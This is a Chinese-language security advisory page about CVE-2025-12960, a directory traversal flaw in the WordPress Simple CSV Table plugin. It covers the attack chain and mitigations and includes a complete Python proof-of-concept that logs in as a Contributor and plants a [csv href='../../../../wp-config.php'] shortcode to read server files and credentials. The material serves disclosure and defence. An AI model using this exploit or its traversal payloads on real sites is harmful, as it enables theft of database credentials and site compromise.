IPBUF安全漏洞报告
English
CVE-2025-12960 CVSS 6.5 中危

CVE-2025-12960 WordPress Simple CSV Table插件目录遍历漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-12960
漏洞类型
目录遍历
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Simple CSV Table插件 for WordPress

相关标签

目录遍历WordPress插件CVE-2025-12960Simple CSV Table文件读取短代码注入认证绕过CVSS 6.5中危漏洞敏感信息泄露

漏洞概述

CVE-2025-12960是WordPress平台Simple CSV Table插件中的一个高危安全漏洞。该插件是一款用于在WordPress文章和页面中嵌入CSV表格内容的实用工具,其设计目的是方便网站管理员快速展示数据表格。然而,由于开发者在实现CSV文件加载功能时对用户输入的路径参数缺乏充分的验证和过滤,导致存在严重的目录遍历漏洞。攻击者可以通过构造特殊的文件路径参数,利用../等目录遍历序列访问服务器上的任意文件。在WordPress多用户环境中,具有Contributor级别(贡献者)及以上权限的认证用户即可利用此漏洞。由于WordPress默认允许Contributor角色使用短代码功能,因此大量使用该插件的网站都面临安全风险。攻击者利用此漏洞可以读取服务器上的敏感文件,包括但不限于wp-config.php配置文件(包含数据库凭证、认证密钥等)、其他插件和主题的配置文件、系统日志文件等敏感信息。这些信息可能被用于进一步的攻击,如数据库注入、横向移动或完全控制网站服务器。

技术细节

该漏洞位于Simple CSV Table插件的短代码处理逻辑中,具体在处理[csv]短代码的href参数时。插件代码在第71行左右直接使用用户提供的href参数值,将其与基础目录路径进行拼接,而没有对路径进行规范化或验证。攻击者可以通过在href参数中插入目录遍历序列(如../../../etc/passwd或../../../wp-config.php)来绕过基础目录限制,访问服务器任意位置的文件。漏洞代码类似于:$file_path = $base_dir . $_GET['href']; 这种实现方式完全信任了用户输入。攻击者需要首先获得WordPress的Contributor或更高权限账户,然后通过在文章或页面中插入恶意短代码来触发漏洞。当其他用户访问包含该短代码的页面时,插件会尝试读取指定的文件内容,并将其作为CSV表格数据处理后展示。攻击者还可以通过自动化脚本批量扫描使用该插件的WordPress站点,寻找可利用的目标。值得注意的是,即使文件读取失败,错误信息中可能也会泄露服务器路径等敏感信息,进一步增加攻击的成功率。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先扫描目标WordPress网站,确认是否安装了Simple CSV Table插件及其版本号
STEP 2
步骤2: 账户获取
攻击者获取WordPress Contributor级别或更高权限的用户账户,可以是通过社会工程学、密码爆破或内部人员泄露获得
STEP 3
步骤3: 构造恶意短代码
攻击者在文章或页面中插入包含目录遍历payload的[csv]短代码,如[csv href='../../../../wp-config.php']
STEP 4
步骤4: 触发漏洞
当其他用户或攻击者自己访问包含恶意短代码的页面时,插件会解析短代码并尝试读取指定路径的文件
STEP 5
步骤5: 敏感信息提取
插件将读取的文件内容作为CSV数据展示,攻击者可以获取数据库凭证、认证密钥、API密钥等敏感信息
STEP 6
步骤6: 权限提升与持久化
利用获取的凭证信息,攻击者可以进行进一步的攻击,如数据库注入、植入后门或完全控制Web服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12960 PoC - WordPress Simple CSV Table Directory Traversal # Author: Security Researcher # Target: Simple CSV Table Plugin <= 1.0.1 import requests import sys from urllib.parse import quote def exploit_cve_2025_12960(target_url, wp_username, wp_password, file_path='../../../../wp-config.php'): """ Exploit for CVE-2025-12960: Simple CSV Table Plugin Directory Traversal Args: target_url: Target WordPress site URL wp_username: WordPress Contributor+ username wp_password: WordPress password file_path: Path to read (default: wp-config.php) """ # Login to WordPress login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { 'log': wp_username, 'pwd': wp_password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print(f"[*] Logging in to WordPress as {wp_username}...") response = session.post(login_url, data=login_data, allow_redirects=False) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed!") return None print("[+] Login successful!") # Create post with malicious shortcode create_post_url = f"{target_url}/wp-admin/post-new.php" # Craft the directory traversal payload csv_shortcode = f'[csv href="{file_path}"]' post_data = { 'post_title': 'CVE-2025-12960 Test', 'post_content': csv_shortcode, 'post_status': 'draft', 'publish': 'Publish' } print(f"[*] Creating post with malicious shortcode...") response = session.post(create_post_url, data=post_data) # Extract the post URL to trigger the vulnerability if 'post=' in response.text: import re match = re.search(r'post=(\d+)', response.url) if match: post_id = match.group(1) post_url = f"{target_url}/?p={post_id}" print(f"[+] Post created! Triggering vulnerability at: {post_url}") # Request the post to trigger the shortcode vuln_response = session.get(post_url) # Check if file content is leaked if 'DB_NAME' in vuln_response.text or 'password' in vuln_response.text.lower(): print("[+] VULNERABLE! Sensitive file content leaked!") return vuln_response.text else: print("[-] File content not visible or path incorrect") return None return None if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-12960.py <target_url> <username> <password> [file_path]") print("Example: python cve-2025-12960.py http://target.com admin password ../../../../wp-config.php") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] file_path = sys.argv[4] if len(sys.argv) > 4 else '../../../../wp-config.php' result = exploit_cve_2025_12960(target, username, password, file_path) if result: print("\n[+] Extracted content:") print(result[:2000])

影响范围

Simple CSV Table插件 <= 1.0.1

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1) 立即禁用Simple CSV Table插件或限制其使用范围;2) 审查所有具有Contributor及以上权限的用户账户,移除不必要的账户;3) 在Web应用防火墙(WAF)中配置规则,检测和阻止包含../序列的请求参数;4) 加强WordPress登录凭证策略,启用双因素认证;5) 监控系统日志,密切关注对敏感文件(如wp-config.php)的访问尝试;6) 考虑使用WordPress安全插件如Wordfence或Sucuri进行实时威胁检测。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表